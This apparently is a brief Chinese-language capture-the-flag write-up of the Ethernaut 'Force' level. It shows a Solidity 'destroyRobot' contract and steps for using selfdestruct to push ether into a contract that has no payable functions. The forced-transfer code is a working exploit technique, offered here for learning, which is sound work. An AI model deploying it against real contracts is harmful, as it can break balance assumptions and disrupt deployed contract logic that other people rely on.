Force
Force.sol
SeleDestruct
- 让Force合约大于0
- 合约作为空合约
- 没有
payable
修饰的constructor
构造函数,无法在合约部署过程中发送余额
- 合约没有
receive()/payable
修饰的fallback()
函数,无法正常接收余额
- 强制销毁当前合约并强制转账当前合约余额的字节码:
selfdestruct
selfdestruct(_addr); // 销毁当前合约并将当前合约余额发送到提供的地址
contract destroyRobot {
constructor() payable {}
function killself(Force force) public {
selfdestruct(payable(address(force)));
}
receive() external payable {}
}
- 允许在合约部署过程以及征程接收
Ether
- 定义
killself
函数,实现自毁并强制转移资产
- 、编译部署
Force
合约,部署 destroyRobot
合约
Force
合约 余额为0
destroyRobot
余额为0。
- 转账任意Ether到
destroyRobot
合约,destroyRobot
余额不为0
- 执行
destroyRobot
合约的killself()
函数注册销毁,并将余额全部转到 Force
合约
Force
合约强制接收 destroyRobot
的余额